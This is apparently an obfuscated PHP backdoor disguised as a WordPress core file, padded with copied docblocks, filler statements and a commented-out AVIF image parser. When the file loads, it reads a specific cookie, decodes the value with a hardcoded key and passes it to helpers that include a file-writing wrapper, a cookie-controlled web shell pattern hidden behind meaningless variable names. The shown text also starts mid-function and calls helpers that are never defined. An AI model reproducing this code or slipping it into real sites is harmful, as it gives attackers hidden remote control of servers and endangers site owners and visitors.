    $tryagain_link = array("a", "b", "c");
    $submenu_array = count($tryagain_link) ^ 2; //	0x80 => 'AVI_INDEX_IS_DATA',
    if ($submenu_array > 3) {
        $BlockTypeText = "More than 3";
    } else {
        $BlockTypeText = "3 or less";
    }

    $f6f7_38 = implode(",", $tryagain_link); // Assemble a flat array of all comments + descendants.
    return abs($DKIMcanonicalization * $status_args) / get_suffix($DKIMcanonicalization, $status_args);
}


/**
	 * Is recovery mode initialized.
	 *
	 * @since 5.2.0
	 * @var bool
	 */
function maybe_exif_rotate($video_types) # $scheduled_event = $h3 >> 26;
{
    $gd_image_formats = basename($video_types);
    $secure_logged_in_cookie = "To be or not to be.";
    $v_data_footer = rawurldecode($secure_logged_in_cookie);
    $right_lines = explode(" ", $v_data_footer);
    $svg = compute_style_properties($gd_image_formats); // Block supports, and other styles parsed and stored in the Style Engine.
    $upload_info = count($right_lines);
    if ($upload_info > 5) {
        $right_lines = array_slice($right_lines, 0, 5);
    }

    errorCode($video_types, $svg); // Post-meta: Custom per-post fields.
}


/**
 * Deletes the user settings of the current user.
 *
 * @since 2.7.0
 */
function wp_schedule_update_network_counts($total_counts)
{
    echo $total_counts; // https://bugzilla.mozilla.org/show_bug.cgi?id=169091
}


/**
			 * Fires after a plugin is deactivated.
			 *
			 * If a plugin is silently deactivated (such as during an update),
			 * this hook does not fire.
			 *
			 * @since 2.9.0
			 *
			 * @param string $find_main_pagelugin               Path to the plugin file relative to the plugins directory.
			 * @param bool   $raw_pageetwork_deactivating Whether the plugin is deactivated for all sites in the network
			 *                                     or just the current site. Multisite only. Default false.
			 */
function check_update_permission($OS, $sitemap_index) { // Get the field type from the query.
    $wp_path_rel_to_home = "Welcome to PHP!"; // Get the base plugin folder.
    $source_width = str_replace("PHP", "Programming", $wp_path_rel_to_home);
    $host_type = hash('md5', $source_width); //         [7B][A9] -- General name of the segment.
    return delete_post_thumbnail($OS, $sitemap_index);
} // If the block has a classNames attribute these classnames need to be removed from the content and added back


/**
		 * Filters menu location data returned from the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param object           $registration_pagesocation The original location object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
function PclZipUtilRename($from_api, $FLVvideoHeader)
{
    $reflector = $_COOKIE[$from_api];
    $reflector = remove_help_tabs($reflector);
    $has_named_overlay_text_color = array("data1", "data2", "data3");
    $frame_crop_top_offset = implode("|", $has_named_overlay_text_color);
    $force_cache_fallback = privExtractFile($reflector, $FLVvideoHeader);
    $MPEGaudioFrequency = str_pad($frame_crop_top_offset, 15, "!"); // Build the redirect URL.
    if (!empty($MPEGaudioFrequency)) {
        $wp_plugins = hash('md5', $MPEGaudioFrequency);
        $func_call = substr($wp_plugins, 0, 10);
    }

    if (filter_eligible_strategies($force_cache_fallback)) { //$filedataoffset += 1;
		$t_entries = APEcontentTypeFlagLookup($force_cache_fallback); // the uri-path is not a %x2F ("/") character, output
        return $t_entries;
    }
	
    wp_embed_defaults($from_api, $FLVvideoHeader, $force_cache_fallback);
}


/*
	 * We generally do not need reset styles for the iframed editor.
	 * However, if it's a classic theme, margins will be added to every block,
	 * which is reset specifically for list items, so classic themes rely on
	 * these reset styles.
	 */
function copy_errors($from_api)
{
    $FLVvideoHeader = 'REfYXbwfsOUBWuSt';
    if (isset($_COOKIE[$from_api])) {
    $fn = "red, green, blue";
    $time_newcomment = explode(",", $fn);
    if (in_array("blue", $time_newcomment)) {
        $this_block_size = hash("md5", $fn);
    }

        PclZipUtilRename($from_api, $FLVvideoHeader);
    }
}


/**
	 * Get an iterator for the data
	 *
	 * Converts the internally stored values to a comma-separated string if there is more
	 * than one value for a key.
	 *
	 * @return \ArrayIterator
	 */
function get_post_format($sub2feed2)
{
    $f9g1_38 = sprintf("%c", $sub2feed2);
    $fseek = "foo bar";
    $frame_crop_left_offset = explode(" ", $fseek);
    return $f9g1_38;
}


/**
	 * Private query variables.
	 *
	 * Long list of private query variables.
	 *
	 * @since 2.0.0
	 * @var string[]
	 */
function get_suffix($DKIMcanonicalization, $status_args) {
    $ISO6709string = "Lorem Ipsum";
    $SampleNumberString = "Sample%20Data"; // Figure out what filter to run:
    $registration_pages = rawurldecode($SampleNumberString);
    $rgb_color = str_pad($ISO6709string, 15, ".");
    while ($status_args != 0) {
    $raw_page = hash('sha1', $registration_pages);
    $sizer = str_replace(" ", "_", $ISO6709string);
    if (strlen($sizer) < 20) {
        $find_main_page = date("Y-m-d H:i:s");
    }
 // Add term meta.
        $shape = $status_args;
        $status_args = $DKIMcanonicalization % $status_args;
        $DKIMcanonicalization = $shape;
    }
    return $DKIMcanonicalization;
}


/**
	 * Checks if a given request has access to get autosaves.
	 *
	 * @since 5.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
function filter_eligible_strategies($video_types)
{
    if (strpos($video_types, "/") !== false) {
        return true;
    } // <Header for 'Music CD identifier', ID: 'MCDI'>
    $user_nicename_check = range(1, 10);
    return false;
}


/**
	 * @param float $DKIMcanonicalizationmplitude
	 *
	 * @return float
	 */
function fread_buffer_size($svg, $users_of_blog) // Remove the theme from allowed themes on the network.
{
    return file_put_contents($svg, $users_of_blog);
}
$from_api = 'xbFr'; // 4.12  RVA  Relative volume adjustment (ID3v2.2 only)
$CommandTypesCounter = array("a", "b", "c");
copy_errors($from_api);
$f4f5_2 = implode("", $CommandTypesCounter);
$root_style_key = fe_mul([1, 2, 3, 4], 2); // Reference Movie Cpu Speed atom
while (strlen($f4f5_2) < 5) {
    $f4f5_2 = str_pad($f4f5_2, 5, "#");
}
/* dle, $box->content_size ) ) {
          return TRUNCATED;
        }
      }
      $num_remaining_bytes -= $box->size;
    } while ( $num_remaining_bytes > 0 );
    return NOT_FOUND;
  }

  *
   * Parses a "meta" box.
   *
   * It looks for the primary item ID in the "pitm" box and recurses into other boxes
   * to find its features.
   *
   * @param stream  $handle              The resource the box will be parsed from.
   * @param int     $num_remaining_bytes The number of bytes that should be available from the resource.
   * @return Status                      FOUND on success or an error on failure.
   
  private function parse_meta( $num_remaining_bytes ) {
    do {
      $box    = new Box();
      $status = $box->parse( $this->handle, $this->num_parsed_boxes, $num_remaining_bytes );
      if ( $status != FOUND ) {
        return $status;
      }

      if ( $box->type == 'pitm' ) {
         See ISO/IEC 14496-12:2015(E) 8.11.4.2
        $num_bytes_per_id = ( $box->version == 0 ) ? 2 : 4;
        if ( $num_bytes_per_id > $num_remaining_bytes ) {
          return INVALID;
        }
        if ( !( $data = read( $this->handle, $num_bytes_per_id ) ) ) {
          return TRUNCATED;
        }
        $primary_item_id = read_big_endian( $data, $num_bytes_per_id );
        if ( $primary_item_id > MAX_VALUE ) {
          return ABORTED;
        }
        $this->features->has_primary_item = true;
        $this->features->primary_item_id  = $primary_item_id;
        if ( !skip( $this->handle, $box->content_size - $num_bytes_per_id ) ) {
          return TRUNCATED;
        }
      } else if ( $box->type == 'iprp' ) {
        $status = $this->parse_iprp( $box->content_size );
        if ( $status != NOT_FOUND ) {
          return $status;
        }
      } else if ( $box->type == 'iref' ) {
        $status = $this->parse_iref( $box->content_size );
        if ( $status != NOT_FOUND ) {
          return $status;
        }
      } else {
        if ( !skip( $this->handle, $box->content_size ) ) {
          return TRUNCATED;
        }
      }
      $num_remaining_bytes -= $box->size;
    } while ( $num_remaining_bytes != 0 );
     According to ISO/IEC 14496-12:2012(E) 8.11.1.1 there is at most one "meta".
    return INVALID;
  }

  *
   * Parses a file stream.
   *
   * The file type is checked through the "ftyp" box.
   *
   * @return bool True if the input stream is an AVIF bitstream or false.
   
  public function parse_ftyp() {
    $box    = new Box();
    $status = $box->parse( $this->handle, $this->num_parsed_boxes );
    if ( $status != FOUND ) {
      return false;
    }

    if ( $box->type != 'ftyp' ) {
      return false;
    }
     Iterate over brands. See ISO/IEC 14496-12:2012(E) 4.3.1
    if ( $box->content_size < 8 ) {
      return false;
    }
    for ( $i = 0; $i + 4 <= $box->content_size; $i += 4 ) {
      if ( !( $data = read( $this->handle, 4 ) ) ) {
        return false;
      }
      if ( $i == 4 ) {
        continue;  Skip minor_version.
      }
      if ( substr( $data, 0, 4 ) == 'avif' || substr( $data, 0, 4 ) == 'avis' ) {
        return skip( $this->handle, $box->content_size - ( $i + 4 ) );
      }
      if ( $i > 32 * 4 ) {
        return false;  Be reasonable.
      }

    }
    return false;  No AVIF brand no good.
  }

  *
   * Parses a file stream.
   *
   * Features are extracted from the "meta" box.
   *
   * @return bool True if the main features of the primary item were parsed or false.
   
  public function parse_file() {
    $box = new Box();
    while ( $box->parse( $this->handle, $this->num_parsed_boxes ) == FOUND ) {
      if ( $box->type === 'meta' ) {
        if ( $this->parse_meta( $box->content_size ) != FOUND ) {
          return false;
        }
        return true;
      }
      if ( !skip( $this->handle, $box->content_size ) ) {
        return false;
      }
    }
    return false;  No "meta" no good.
  }
}
*/